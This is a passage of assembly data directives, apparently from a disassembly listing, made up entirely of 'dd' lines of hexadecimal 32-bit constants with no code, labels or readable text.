		dd 9AB13FE1h, 0D31D892Fh, 9BD280C5h, 0A7B8151Ch, 51AC5925h
		dd 483C30E3h, 35587757h, 2E0270BFh, 0E6C17E76h,	98DE7802h
		dd 720505C5h, 1467BF6h,	8A4B6CC7h, 9DD13B74h, 0BEF853C3h
		dd 0B2FCB563h, 1CC10820h, 370A0768h, 983618A0h,	0E9C0889Ch
		dd 3BB79AD0h, 3F93F729h, 2BCBAAE6h, 265DAF5Eh, 9FBF452h
		dd 7214B8Fh, 9601C180h,	0A321A610h, 590306F9h, 0FB9E84ECh
		dd 0D0D37FE2h, 2959D15Dh, 0CD1DA2B8h, 395701E5h, 2DE960B0h
		dd 58517A10h, 5F93B4C8h, 0A32E1D2Dh, 5C68C13Dh,	0FA2142A6h
		dd 3B51D869h, 0B4F56693h, 405498E2h, 3700B87Dh,	0D7B126Eh
		dd 3A5475EDh, 0C7FCE932h, 30DFCEFDh, 0F03060F6h, 685A7BC1h
		dd 467491Bh, 2F43A58Dh,	7F89E080h, 0B0415AF9h, 559AADE0h
		dd 5359CB00h, 0BA4DC3BBh, 0A35AB76Bh, 5051074h,	5BDE29ABh
		dd 2D07C0ADh, 993F4069h, 20BC805Ch, 229C98B9h, 6AA9DB42h
		dd 0AEB23AD8h, 7202950Bh, 41F1E380h, 0F0C7774h,	3E7606E9h
		dd 79E409BBh, 2300269Fh, 128E2EE2h, 18042F90h, 893373F1h
		dd 0CE05B7E8h, 47D4AAE9h, 324EC28Dh, 0A0680AEAh, 203A6866h
		dd 0BF42504Ah, 84190148h, 810093DAh, 0C834CEEAh, 28AE284Fh
		dd 0A341729Bh, 1F876260h, 9F280378h, 0A10756EAh, 11DA7F7Bh
		dd 9A17BF43h, 70472140h, 3DFC1936h, 4F4D9C8Eh, 0A58DBE04h
		dd 7005A5A8h, 747E13DEh, 0ED3B0496h, 0F831049Ch, 5E715EB4h
		dd 0BBC0B4DEh, 9D65A26Ah, 0D534E309h, 59DF7F92h, 0EA976F64h
		dd 2112392Fh, 387EA79Eh, 695FD050h, 9C444A5Ah, 0ECAFD6EDh
		dd 324E86F6h, 41E0971Dh, 9630217Ah, 19C40C3Eh, 0EC545BD0h
		dd 8C52851h, 14BA5228h,	0B707D09Dh, 0C7815DC5h,	2B214FE0h
		dd 217942Eh, 0FAE95D08h, 554A5158h, 939E70B2h, 0C006FDBDh
		dd 4DFB4086h, 0C6549D01h, 5D120C68h, 0AC5A33ACh, 0C8B6E13Ah
		dd 802D886Ah, 0D368D841h, 0A680503h, 0C5C7719Fh, 3E07142Dh
		dd 412187B4h, 65DB1Ah, 7FEA7AFFh, 5CEB599Fh, 0FB099394h
		dd 9250B117h, 80895A2h,	799E08C2h, 8A823C26h, 403BFA29h
		dd 487006BEh, 0B5781861h, 14352A00h, 655A25C3h,	40BA3EA0h
		dd 68B75A26h, 0B474EF11h, 17D74950h, 0E95B83E7h, 6400EAA4h
		dd 0B35316B5h, 73C38091h, 0A7F33B73h, 28A4EB00h, 0F08DE9DDh
		dd 0BB40BA94h, 4C4611E1h, 2506463Ah, 0C424D1Bh,	6D2EFD0Fh
		dd 47E38069h, 767D2A49h, 0B3044FC1h, 40D6BEAh, 0B7A28436h
		dd 48A4FD4Bh, 352F0948h, 0C14900CCh, 80444E54h,	62000EE9h
		dd 0C8896929h, 3822D59h, 53F4A0Ch, 35F7EB11h, 5E930401h
		dd 0D425BA1Dh, 7CDA8409h, 565B0214h, 225879E9h,	0C1F85C4Fh
		dd 2EEB6809h, 0C263925Eh, 9AFF856Eh, 0FE1F1483h, 66ED87E2h
		dd 0E1AA0583h, 402BB790h, 33BA1A63h, 0C2B87B35h, 742D660Fh
		dd 0E9C56192h, 0F16D4756h, 39FDFC07h, 0B0D6B43Ah, 0A45A6848h
		dd 41CD9BD8h, 3707898h,	0B27E3CEEh, 0CA32EA11h,	2B1C7FB5h
		dd 0B753B801h, 5BFA206Ch, 458BA879h, 8BBD3960h,	70237918h
		dd 2527D9CCh, 58546120h, 0D2EF2C13h, 0B66290F9h, 61FFACC2h
		dd 0C4380939h, 0F3CC5C2Fh, 90883071h, 7B098155h, 0EAF6D897h
		dd 7C5FFFBh, 0FC651E79h, 0C509FCB4h, 2488863Eh,	0D0283D6Eh
		dd 0FEAD5F13h, 0BA687570h, 6E709408h, 27D76A87h, 0BA8E75E9h
		dd 0E45A6EF3h, 3862DE47h, 7765F987h, 0F0B02ACEh, 9D4D9Ah
		dd 1AD04718h, 0CEF20081h, 970C907h, 0DFA05AD6h,	73130ACDh
		dd 8AB2152h, 5F259EBAh,	63E90433h, 0E5B87BE7h, 0A0D4E5B7h
		dd 2DB25BB3h, 12EDC904h, 0D5EE184Ah, 2E5E0577h,	0EC36814Dh
		dd 0A8FD3BC5h, 628FA4Ah, 75B232E9h, 7857C66Fh, 0BB0CD202h
		dd 7FC00E97h, 0C17B4D48h, 9F027C0Ch, 2CEE2B69h,	537ABE19h
		dd 6AB2A4Ch, 41260929h,	495E31F0h, 62012314h, 69CD0FB2h
		dd 0CCE98219h, 0D1BF0114h, 2E2CD92Bh, 0D332A3B2h, 20DDEE10h
		dd 1F707E95h, 51CA9856h, 0EAD50705h, 961495F8h,	0E05DC40Ch
		dd 0D3995105h, 0F4685260h, 42C4054Bh, 28592E9h,	0D943B263h
		dd 12E0B8E3h, 0E75F839Bh, 0F8F421BAh, 0B1580398h, 12C29310h
		dd 0C14E12FDh, 0FECEDD73h, 86608B85h, 20EC645Dh, 8F829BA9h
		dd 6870185Dh, 0E9764080h
		dd 9764222Ah, 154AD5F6h, 0BD2D7B3h, 0C6FDD7D2h,	0A2C69F36h
		dd 295F2DFEh, 0A2E19289h, 4DCC1F6Ah, 200A648Eh,	9B92D377h
		dd 0BCF6813h, 1A3E08CCh, 6806C861h, 290AEA74h, 920296DFh
		dd 434DB445h, 9016FF48h, 2B25041Eh, 0B524CF4Bh,	7AF0F873h
		dd 835475C8h, 508E8C1h,	2E8B1CF8h, 19CA214Ch, 0BE93F640h
		dd 47E8B57Fh, 0AA27D261h, 587A054h, 218615Bh, 5730197Dh
		dd 0C7DCC17Dh, 13420846h, 0BCF26343h, 577B270Fh, 5FB84813h
		dd 44956695h, 0AFEF5AABh, 0B0C2CF64h, 2B3A97Ch,	0C681E273h
		dd 0F1C1BF18h, 0DE84404Ah, 42EFDDEDh, 0ADE83EEDh, 215A1B68h
		dd 6FB61C20h, 306A17B4h, 0B2300BF4h, 97B96CE0h,	19370F12h
		dd 27E1EB41h, 0C33EC32Bh, 0F5F19DFEh, 0BBBC7B7Ch, 0CACBE9B0h
		dd 0C327F1B7h, 0DD91FB87h, 0FF4F3045h, 82FC03D3h, 0B80DBB17h
		dd 1D4ADE6Ah, 0C981AF11h, 527B795Dh, 0A5C1909Fh, 9BDAE240h
		dd 2AF00683h, 0B36B296Dh, 0FBE0C105h, 1DE4EC8Eh, 299640B1h
		dd 7420AFEDh, 7BCD46FFh, 9E498DA4h, 51490CBDh, 49EA3C55h
		dd 7662B0F3h, 0EC5BB034h, 918C92BDh, 0D6139A92h, 0D3BF025Eh
		dd 60D52234h, 2710C1EDh, 0A2DE955Dh, 4877425h, 0EF92210Bh
		dd 0C8BD8913h, 822BE912h, 42E14376h, 0FDCBFC02h, 1CF47114h
		dd 5EE82FFAh, 295FEBD0h, 12D95131h, 0BE1D80F1h,	0D00B07B9h
		dd 0DEF769h, 0AD8BACC1h, 80849A83h, 307D2CEFh, 0E30C09B2h
		dd 0F3F38960h, 4C62C7F8h, 0C1070391h, 256533DDh, 0E98449B8h
		dd 681CD061h, 18B74836h, 2E78BF9Bh, 5AA15FF4h, 0D6009F5Ah
		dd 0B94FC474h, 510FDC32h, 0B06BCF65h, 2F7B9246h, 3DA40B5Eh
		dd 275975Eh, 89B8500Ch,	5CB7860Fh, 0D85E5A76h, 32DFA56h
		dd 22FD7102h, 9D6990FFh, 47B810F0h, 0BC27547Eh,	94227DFAh
		dd 63916F16h, 6B0F3CAh,	5616F387h, 9EA25E52h, 592C074Eh
		dd 99F25F5Bh, 15C92957h, 4909AC5h, 1381C3Ah, 95C732ACh
		dd 0B4052045h, 5A2707FEh, 61FE8E89h, 513E199Ch,	7FAF0C80h
		dd 2E92D31h, 84364C5Dh,	8904A275h, 0BD4E81E1h, 53F5108Ch
		dd 79562F28h, 0ED013652h, 9D203C25h, 2530EA31h,	3A0D8087h
		dd 5134A4Ch, 0B40BAA2Dh, 2B77E5FFh, 0C4688BD0h,	2736927Dh
		dd 31DA7113h, 14BC8290h, 0B576DA27h, 0E45DAD27h, 5812AE16h
		dd 322CB0E3h, 4466973Ch, 0B9E4A79Fh, 22B6041Fh,	0CBE14902h
		dd 0AA7269F8h, 0C1B662CDh, 2DBFBB37h, 0EB823C1Ah, 6902A850h
		dd 291C6247h, 0B29ADD74h, 8D660C0Bh, 4ED6E94Ch,	78682A20h
		dd 20672C46h, 0A1F91840h, 0EA1EB652h, 4DCAD6F6h, 263D3DC2h
		dd 0EE83DC7Ch, 0FE472888h, 2D7390Ch, 8D7C7A2Fh,	0CD008A0h
		dd 685A2514h, 2F68556Ah, 686C03A3h, 646E1C31h, 0A76E4B75h
		dd 0C86470D6h, 31AAA27Eh, 24C0AAAAh, 0DB2A930h,	58D37C9Fh
		dd 0C04B685Ch, 0FAD71BB8h, 0A846960h, 205F9855h, 0D006AEDh
		dd 50F64CC5h, 1EB13F05h, 0AC012C09h, 454E1601h,	983E1ECCh
		dd 803B4D28h, 0F03080F6h, 2C110C5Ah, 0C5882E6Eh, 175A394Eh
		dd 8B45A32Dh, 0BF0478A5h, 866271DEh, 0F2000960h, 4A084233h
		dd 3E1C113h, 7EDD3FBh, 83B406AEh, 7A4689E9h, 0F0C601FDh
		dd 89422BD9h, 0EA7C30F7h, 4E3A500Ch, 10140C3Fh,	459BE31h
		dd 1C83279Fh, 40EAE8AFh, 7A31E908h, 4E89FB90h, 0F816CD3Ah
		dd 54B460AEh, 37D7062h,	0AEFCD621h, 49FC0999h, 35F3975Ch
		dd 684C60AFh, 0C13962A0h, 0E1FC5045h, 0E120D4Ah, 4ADB985h
		dd 4CC15F5Eh, 0C01AE11Fh, 8005E207h, 0D700B7EAh, 7CFA885Ah
		dd 0F807F25Bh, 0F0974AC2h, 0E4BF6FE9h, 3F2E038Ah, 0DA290976h
		dd 2C08F441h, 9DDB163Ch, 53523045h, 71C05D80h, 6D6D580Eh
		dd 0F18E4201h, 649CE992h, 8B0E05A6h, 0A270B966h, 0E0831C5Dh
		dd 0AA98B730h, 7708A291h, 0FC8803ABh, 2AFCF7FAh, 37AAEF97h
		dd 0E872D20Dh, 6820F3FAh, 8122DC4Bh, 31476234h,	0A4D7C9FAh
		dd 87144B08h, 95EA01DCh, 0E9130A2Dh, 948DE145h,	0B4EF4F2Fh
		dd 68FF90F2h, 0B027619h, 56F483BAh, 0B688E10Dh,	502AAA3Ah
		dd 3980E909h, 0AFE1B057h, 0F23DC0F3h, 1CD270C9h, 1099894Ch
		dd 694882E5h, 38A9BD19h, 0B02E7066h, 0C1302727h, 5965818Fh
		dd 0E9F0786Bh, 94D204Dh, 5712D768h, 0E9272A96h,	0A89B7640h
		dd 9D3DF045h, 6B5E5F1h,	499247BDh, 0A4F458A9h, 2ABAE961h
		dd 0CCD0219Dh, 0E1958478h, 25484E09h, 29BE000Ah, 0B7180162h
		dd 8B752409h, 251454B3h, 7CE6B4C0h, 909BE697h, 0A90E623Dh
		dd 9AF6761Eh, 0A0D57CAFh, 763AE0B8h, 9E92C06h, 6DF7A5D6h
		dd 4BB12072h, 46444466h, 1BA138Fh, 0AA2BBDE0h, 5590F102h
		dd 1251F883h, 0AA3754Eh, 0CBC0DB2Dh, 8D70C380h,	25C4E8E7h
		dd 0EC95792h, 0F61E2950h, 6850D042h, 0E59D4070h, 8F0B2D94h
		dd 12527307h, 67546D0h,	970F5756h, 0EE95BF70h, 0DE4228Ah
		dd 5F8B4338h, 83B162FBh, 1F206801h, 935429B4h, 12E15D16h
		dd 4010633Ah, 621FAAF9h, 1B892E33h, 4B7C5373h, 6701B155h
		dd 4B764A32h, 0BD62007Fh, 18B158F5h, 1A5BB807h,	33F2FDE3h
		dd 29C7D50Eh, 507CD425h, 0FEABAAA9h, 41C09E01h,	3558730Fh
		dd 0BE5D0640h, 422E1320h, 5010FE1Ah, 7E7705A1h,	18AA65CAh
		dd 0EB810629h, 9BE90BA0h, 76598995h, 0E868D08Bh, 0E4F8654Ah
		dd 7359C2B4h, 46DAC11Bh, 0C8FE0854h, 8C13C320h,	1B166030h
		dd 888397B5h, 6B3A851Ch, 3E9F22D9h, 62B2EC41h, 84351870h
		dd 207EAF00h, 0C3A61A1h, 30A046FEh, 5E63EA02h, 0BACA88BCh
		dd 0FBC4785Ah, 0A360136Fh, 31BFD70Ch, 7F5CE79Eh, 303A297Dh
		dd 0E1F8E933h, 0C08F7CBFh, 0C9BBB9B8h, 0E9E3E050h, 26447C0Ch
		dd 0B46D0C29h, 22712F8Bh, 8CC25244h, 41335EA9h,	6C3E4468h
		dd 6C90DE0Fh, 4834BE03h, 0E2D1339Eh, 6F113658h,	33178F8Bh
		dd 3B2C21AFh, 64AF2AC2h, 0D246E221h, 4EC1D5A0h,	7FA7B46Dh
		dd 1E8182Eh, 27A9F700h,	528938BCh, 0D218F2FBh, 0FDBE815Dh
		dd 293DB074h, 65E44AEEh, 0BF04D65Eh, 0DF529AC3h, 2E04C908h
		dd 686E8C6Ch, 96779538h, 7035A0Bh, 0B5442FBAh, 6F4003ECh
		dd 0A3704A27h, 15281341h, 3226AEBDh, 580917DAh,	0C8266518h
		dd 0C9F0ADA6h, 4F306040h, 0E2DFBD8h, 516E983Fh,	0A0B75301h
		dd 0FD3032B5h, 0C0DBEC2Ah, 5208E5C0h, 0F6EE1D88h, 5AF501D6h
		dd 2646AD68h, 17B617DBh, 905AD98Ch, 0B1E3275Ch,	509474Eh
		dd 5EEA7FF9h, 0E3F2CB7h, 0FA1202BCh, 0C15A29F7h, 6A5B8A2Dh
		dd 44C465B8h, 4CD4E242h, 735B10BBh, 6003292Ch, 6A5D22B5h
		dd 0CD055800h, 0E961DB3Dh, 0A075BAF9h, 974CC006h, 0ED1316C5h
		dd 0D666F4BDh, 4B72E62h, 7EB896E6h, 6F28016h, 358A1D29h
		dd 0A2ADEB5Ah, 5A2FA84Fh, 8930AFA9h, 955DE9D2h,	89C3E3CBh
		dd 71213F4h, 3E0ADE3Ah,	58C16F2Eh, 3E42D657h, 8062BB5h
		dd 5914811Ch, 417E42A7h, 0AB92992h, 9099E985h, 30ACB47Ah
		dd 20A8CC5Ch, 0DAF62806h, 80EE0EF6h, 0EF667CE7h, 0F92F06B4h
		dd 7287D530h, 5DEAF227h, 0F57F0B55h, 0C479B546h, 7A3D5F81h
		dd 31837285h, 67DF94h, 0B16E8BDh, 448107F8h, 0D29D6D46h
		dd 82E9126Eh, 53B6FAF6h, 71D92B7Bh, 616806FAh, 20251D1Eh
		dd 1109C87Dh, 7C8880A4h, 0D8C244Ah, 0D8E8410Bh,	4E4BDE68h
		dd 64E6AF30h, 0E95A0872h, 51163098h, 0BA529E70h, 336D17A0h
		dd 0CFFF0817h, 46EC5C17h, 0F7DA8706h, 681808D3h, 0ED9B440Ch
		dd 205F8189h, 40500E2Fh
		dd 859DE054h, 0D0A25E2Ch, 2020626h, 528D698Bh, 18BD8081h
		dd 39730DEh, 89BEA04Dh,	343EFD34h, 8197D9EBh, 74ACE517h
		dd 0F5D839F3h, 0F421134Eh, 0EDC1FB0Fh, 1833AF84h, 0C3C7B45Eh
		dd 0B003D102h, 4866E97Ch, 97C60118h, 0F569F6FEh, 852FCCA3h
		dd 0E6354400h, 68298440h, 0ED3F4F6Ch, 66118190h, 5AD93AC4h
		dd 0E401B86Bh, 848DE2FEh, 0B8BA871Bh, 5988C4FAh, 0C41E9910h
		dd 0EBA39395h, 913E2CBh, 2DFACDEh, 0EF70ED18h, 478BFC29h
		dd 957885E9h, 1604FB9Eh, 530FA794h, 0EDB706C5h,	461925EAh
		dd 5AA1B0A7h, 0F9144965h, 5A16CED8h, 3CFDF021h,	0F3E8BC89h
		dd 0D1957955h, 0BFA4C9F1h, 8C65AB68h, 0AC105B1Fh, 6C26631h
		dd 0F5CDE8C4h, 43B1FEB5h, 0BA849B44h, 0E9E0FAE9h, 7FE11CAAh
		dd 2681E7A2h, 70156C54h, 0B9813B62h, 0E550C932h, 0B826A048h
		dd 0D55E2DE6h, 0D8A7BF73h, 12D62099h, 56D83117h, 6E8656FDh
		dd 0B117B46Bh, 12BB281Dh, 1CF2AF35h, 67F68080h,	7E4E40E9h
		dd 0B7853EF8h, 71CA21DAh, 2EBF00A3h, 7E292F52h,	580139D0h
		dd 0E90C8710h, 0C3DCF8Ch, 1CAA0B26h, 0C0E18040h, 4969AA22h
		dd 0F6004690h, 2920D321h, 0BEF5E9D9h, 0B252013Bh, 60D43093h
		dd 0FFAA84F7h, 25833DE0h, 5D67E112h, 1807A310h,	51505E5Ah
		dd 392C1238h, 208AEB29h, 4B806809h, 0DB889051h,	0D9BB01F2h
		dd 6A6B6561h, 2F37F6E0h, 41D04F0Ah, 71246771h, 2902C719h
		dd 5F391726h, 0D90955DCh, 0D175A7CCh, 874CDE2Eh, 43596D9Fh
		dd 0A2542D60h, 89CBE9B5h, 0A7D357E7h, 0D4B5D322h, 1AE978EFh
		dd 5CBD7070h, 0D7F76096h, 3B4CBD55h, 2C382C59h,	0E84E7F10h
		dd 50E7B2E3h, 4B309052h, 4BA8E005h, 0D8A0DAC1h,	0BD2EF713h
		dd 0ADAAC5FBh, 7BFDF6EAh, 3AA62327h, 0BFC100BEh, 0C236FB1Bh
		dd 8725E963h, 0D69D0444h, 60F53DC3h, 59EE3F80h,	0D0177D01h
		dd 4964F329h, 2F9DF3EAh, 5CE009DAh, 5746E238h, 0C957515Dh
		dd 255EC5D5h, 0B252C575h, 103DF92h, 0D732A2CAh,	62DD8789h
		dd 0E69BC10Fh, 654D07CEh, 0C7D4AA15h, 0EE098CECh, 0E3854629h
		dd 4F93BDA6h, 0A886B0ACh, 0EF75EFFBh, 89892250h, 0F65FF82Dh
		dd 18DF2F7Ch, 9F68ABBEh, 0A3096766h, 369B187h, 0A262B9FEh
		dd 0E5E7D832h, 0B3E90840h, 49492B5h, 8D6F9DBAh,	0D66C234h
		dd 72920851h, 5ABEE240h, 25E266Fh, 41DCE681h, 5044696Dh
		dd 0D16BA025h, 10D7AF74h, 0BE2E8ECEh, 85CA6D4h,	0A220CCC5h
		dd 0F383AA71h, 58C7FAD6h, 0EC50671Eh, 0A0554551h, 7D03054Eh
		dd 0F7472834h, 0E4045BDFh, 640CC704h, 0C356C6Dh, 620A12C8h
		dd 7307BBA2h, 0D7091B65h, 5726B445h, 4D8C6D02h,	0E92CC095h
		dd 1BF94BDh, 1E5FAA25h,	97CCE801h, 2EB8596h, 0FDB85903h
		dd 0B48EF853h, 2DFE1786h, 5682026Dh, 0FDB4EB0Eh, 0A9908683h
		dd 5AEE4525h, 5CE9335h,	0BE393BE9h, 5AE00728h, 561CCA6h
		dd 46418A06h, 4F580128h, 8102F4B8h, 5148ED02h, 0DC2165E5h
		dd 817F5AADh, 26B56830h, 35C56F2Ch, 0D67CB93Fh,	5878B304h
		dd 4C3B107h, 0ECB282CBh, 53C97D0Dh, 7B575D02h, 1FF22584h
		dd 237CD836h, 985F5F57h, 0EA800CD2h, 58B29F7Bh,	0E98933F9h
		dd 903658FFh, 14534C91h, 0DD10FD04h, 7168018h, 0E74A22EFh
		dd 0AD3388EFh, 0D144A75Ah, 4AA466F8h, 0E1F4B734h, 6917B05Ch
		dd 0F37738F4h, 5A7FBFF8h, 3A47CFBBh, 31EADE35h,	2B52D7DBh
		dd 7110E041h, 5C600B22h, 0EB45C08Ah, 0F41FA85Ah, 3E00FAB0h
		dd 835D7B4Bh, 3501E8h, 202B5B58h, 0E050AE05h, 0E529F628h
		dd 2802BE4Eh, 480B9368h, 0C0C4E817h, 0A12ABA54h, 292D7901h
		dd 844A45F2h, 0B9AD54E9h, 0B7D212D4h, 18AF9B3h,	2AA709FCh
		dd 0D5E90F7Eh, 29908E72h, 0CC57080Bh, 9403853Fh, 85CDAB41h
		dd 40F62635h, 25B5E44Eh, 7D79C510h, 72EEBFB9h, 2749B10Fh
		dd 685B873Ah, 27A52606h, 5FF47A5Ch, 0C0537178h,	0D4DC769h
		dd 872D5238h, 175384EFh, 711B3A87h, 0D0094401h,	59A7253Bh
		dd 1089A658h, 0BF789299h, 90027309h, 36413AAAh,	51F07B4Eh
		dd 0E9CF1609h, 0A2CDEEDEh, 0D710AE69h, 595B1D4Fh, 0FF6533DAh
		dd 12D75E5h, 79C26832h,	0DE103576h, 285909B3h, 0A6C584E3h
		dd 2B5A5807h, 0E10825Dh, 0B65B049Eh, 95FE14BCh,	486381C5h
		dd 228075D5h, 39D2139Ch, 0F35E9AE9h, 90D0D2D1h,	0D2DFD03Ch
		dd 0BBA8C5CAh, 8AFC212Dh, 93E39478h, 9817BB9Bh,	0AC5E3ECCh
		dd 0DFD09DCDh, 72E97CB5h, 7B88575Eh, 7CD02753h,	0ECE3C32h
		dd 15A89042h, 357B160h,	6BBB23C7h, 1D53D206h, 240C7EABh
		dd 164EF047h, 0C080BB31h, 0B70829C4h, 0F5C17000h, 6FF355AEh
		dd 3A34818Eh, 1BC7EB83h, 372F183h, 32A2BE1Ah, 9DD27BDDh
		dd 2EFEB5CAh, 0A3E68252h, 202E5A4Eh, 0F095496Bh, 93595FB7h
		dd 75F2FA45h, 283B9AD0h, 9C9193C8h, 0FC425AFh, 0C141587Fh
		dd 0A5F789F4h, 0AC0C5C34h, 0C95CAF31h, 0A6ECE985h, 0D68FC8Ch
		dd 1002D9F3h, 59BD2F9Fh, 0EF5E6013h, 7F27F531h,	2240F602h
		dd 6082D4BEh, 2E4F858Ah, 5A7A0AFDh, 0BD6294CAh,	93BDE363h
		dd 5EB2EFE9h, 6815104Eh, 70AA78F1h, 18997F4Bh, 7A8B053Eh
		dd 0E8DDAB2Eh, 2057A92Ah, 5CB80785h, 0A6154B67h, 7EB772EBh
		dd 26E9D02Ch, 9232054Ah, 0FFC48657h, 0C009517Bh, 95CCF321h
		dd 0C28B4883h, 1A508705h, 6194AB71h, 22440817h,	0A3B46186h
		dd 7D6E16BEh, 0E684AE6Ch, 0C559080Bh, 5C5D8D7Fh, 0F3456011h
		dd 0CFB6604Eh, 8C00D559h, 0E90E780Ah, 0EE959403h, 0C9801C69h
		dd 28C1C138h, 11612268h, 0B70176EDh, 7AF83CC6h,	0CD12745Eh
		dd 4FF704A0h, 0D5A446Bh, 8B5DAF67h, 4A966F04h, 0A0CA380h
		dd 10513C5h, 1F428AD0h,	0DC40E335h, 319D0525h, 9149500Bh
		dd 5B6D04AEh, 0E1A4E913h, 0B8F07E4Ch, 2B2F13BBh, 42910021h
		dd 0E933CF2Ah, 1C121127h, 5189B772h, 7F342BFFh,	0F72F52EDh
		dd 8EC12CBAh, 0D7590242h, 0AF64FFAh, 14FC5C4Ah,	6C81B1h
		dd 17AA3B1Eh, 8553E927h, 0E081121Fh, 3025D10Ch,	0E32DCF5h
		dd 0C567D8E5h, 0A2ED60B2h, 8D99EA28h, 72BD840Bh, 64A417FAh
		dd 0A400BA76h, 6FD02A79h, 3AFA9745h, 30636E06h,	5D365667h
		dd 770CB19h, 0CD8058E5h, 1CF531EBh, 0D1C83F30h,	6175410Ch
		dd 29C5DD5Eh, 65FE2E8Fh, 220F243h, 251DBF22h, 0C8773663h
		dd 3B0449BDh, 0CF056FDCh, 1F06672Ch, 8FD1C0B9h,	0C1E91F3Fh
		dd 67BF755Eh, 0A86CB545h, 9190784Dh, 745992F0h,	0C509123Ch
		dd 0FE85D616h, 0DF16C3ECh, 0F1654379h, 85AD6F7h, 771C9BA6h
		dd 0E94E8F7Ah, 3B3B6F4Dh, 0EF2B31B1h, 54084E65h, 9F82062h
		dd 0F59D8B5h, 2E65EDC0h, 0C61AC69Dh, 0A0D3022h,	0C31EB1Eh
		dd 1BB7299Eh, 2568118Fh, 32D10CBAh, 0D028C55Dh,	0F895C12Bh
		dd 2034BA70h, 87A0396Bh, 2A71439Eh, 4EE4248h, 158D4BC2h
		dd 238A2EFh, 976DD3Eh, 2955E189h, 5363413Bh, 72D481E9h
		dd 84F772Fh, 0CEBB8317h, 500510D0h, 53D00178h, 0E7804FB7h
		dd 0DDF47B15h, 0A0B8308h, 56B55107h, 28EE0F0Dh,	651BE962h
		dd 4968F9DFh, 4B3EF953h, 0FB2F1BF5h, 0DA6F3C39h, 0CD7F1603h
		dd 52242CFEh, 6B3AEF90h, 0BA68814Eh, 97ADB199h,	13BEAC3Ah
		dd 0BF81821h, 43B5B7B4h, 0D8E90948h, 6F98F51Eh,	0C7C068BCh
		dd 0D3255DE8h, 73E21333h, 6C02EF40h, 72F929E9h,	60620890h
		dd 519D0E80h, 92B2C11Dh, 2D0AF458h, 4D3D19D3h, 78EF4B95h
		dd 544BAD03h, 0E16152C8h
		dd 0F411BC2Fh, 56A98C03h, 0F5688802h, 0E349BD5Ah, 73F7C224h
		dd 0BB5AE489h, 27E9BAE4h, 0A168A5D2h, 6D240A84h, 93B6E0Eh
		dd 57685B49h, 348647Ah,	0E69A0401h, 9B821EDEh, 0FF6646Dh
		dd 17C10C0Eh, 0AA7F0265h, 6C8990F5h, 2D790542h,	6BB47E2Dh
		dd 5015173h, 1F8D0E33h,	6C70E12Ah, 3064C3BFh, 0C1EFD553h
		dd 3AF2EFBEh, 0C13F738Ah, 0C3D0BC82h, 14E4CB89h, 48E95712h
		dd 398007A0h, 0C39E44EBh, 97D6CA78h, 3A570060h,	0D8F747C1h
		dd 26BD5500h, 0E98B9EDCh, 150B9F14h, 328C0956h,	90EB7DA7h
		dd 0EE053E07h, 1C1023CCh, 4D406729h, 811363C0h,	460309CDh
		dd 0E3803CFDh, 169B7C77h, 95FAE918h, 14AC249h, 5344915Eh
		dd 517B7D68h, 826711CDh, 6F87C623h, 90B7C0C1h, 0FB35804Eh
		dd 287A4C78h, 47C2CA4Bh, 0C1F1425Ch, 0D2BB42Ch,	734263AFh
		dd 40CD585h, 738D25F9h,	74F469FFh, 0A49FE0C6h, 7882C6D2h
		dd 0FE4968F2h, 5C739F18h, 490990A0h, 5F4A9E7Eh,	8827078h
		dd 59E23762h, 864DA3F5h, 68102751h, 4D948770h, 0DA1B56A7h
		dd 278DBC5Fh, 8D19762Ch, 3F176E9Dh, 0E9132A8Fh,	7BF7B1C2h
		dd 0EB5EE08Eh, 1352CB08h, 0DFE6FD01h, 71589B89h, 0EC5545EFh
		dd 66F1D24Eh, 0FC132520h, 18C1BD54h, 33F6301h, 0A368C80Fh
		dd 8097253Fh, 0F6B91860h, 6D8D7E0Fh, 56C66649h,	18BD0588h
		dd 0C019DF79h, 0A72FF50Ch, 140B3F5Ch, 1384E5C1h, 0E1B85425h
		dd 0CB39E3E7h, 58C1CF12h, 0CAA86E16h, 83FDD889h, 0C1535597h
		dd 7A61D7F7h, 0C0679AD0h, 0A164C70Ah, 6967D9E9h, 194744h
		dd 0E8372FEEh, 4A49FA15h, 96E7B318h, 0B300A48Dh, 0B324CC6h
		dd 87E92DB7h, 12B50958h, 0A0D758F1h, 1D31A92Eh,	4457DDBh
		dd 0E07EE9FDh, 6DF6BE5Bh, 7C4B974Ch, 80A1DEB5h,	2BC042F3h
		dd 0DF25684Fh, 7D3E64Eh, 3627CD01h, 8990DB31h, 0F4BF59D0h
		dd 0B1514272h, 0B11AB784h, 6DA82A2Dh, 0F959CE16h, 69E9E0DCh
		dd 0E1FFC044h, 0CA14D9Eh, 807DF1ECh, 50DFDAF5h,	21F845A4h
		dd 0BEC3920h, 0DF3825EDh, 57617002h, 561F8008h,	81217B01h
		dd 47D8C2E5h, 0B22EC036h, 45380D46h, 0F740A8B0h, 0C8EF5001h
		dd 162A035Dh, 58BE5673h, 2A706CB1h, 4072C9A0h, 0C858B5F5h
		dd 0D0A325FAh, 0CBFE3F1Ah, 0BE4D8D93h, 2BEE0D31h, 44C7892Eh
		dd 0B1B1BE7Ch, 44F6A02Bh, 2DEE684Fh, 85F52F7Bh,	0BD22FE8h
		dd 8DE6E977h, 0D2DD4C5Dh, 0A930AA07h, 81104AE9h, 0DE854157h
		dd 0E8AA0475h, 6C0042Bh, 8BC20830h, 5F54EA34h, 0ADB6001Ch
		dd 280BE5EAh, 0C7D254BBh, 4EBC38D3h, 0CE040A99h, 0F65F5BE8h
		dd 666013B4h, 81981935h, 38850B68h, 4757507Ch, 0FFF125BBh
		dd 0D9F362h, 912534BAh,	0DA292117h, 641660E7h, 0E455FC7Ah
		dd 13AE90AAh, 742F3061h, 43DE9A5Bh, 81EAD5h, 0EE01D3BBh
		dd 0C8F7063Ah, 3A00752Eh, 0EB096D2Ch, 95EC84E9h, 0D05DF892h
		dd 0B5D8976Ch, 812D38B5h, 15D80AE3h, 2CC2730h, 0B12DD1Bh
		dd 8BA009FDh, 0C9DCF416h, 69A9B880h, 0C1030B3Ah, 0BF5705E8h
		dd 70A3A011h, 0C0894AE9h, 4B40B868h, 7727EB2Fh,	0DDEFA380h
		dd 460A95Ch, 4F5FEEB2h,	0ADD29F6Ah, 0B22DF68h, 17C7283Bh
		dd 3B15AFD3h, 2DE85FA6h, 6231C816h, 0CFE776Fh, 0F5966803h
		dd 9ACBB4EEh, 1E880500h, 0E8293726h, 1B4FB8C7h,	0E7CF024Bh
		dd 0F8FF4208h, 0B8C0927h, 0BBFE3EA5h, 0E3209E20h, 372D0006h
		dd 4867FD74h, 0AF09B035h, 0F8898C71h, 20915F0Ch, 5975A7DDh
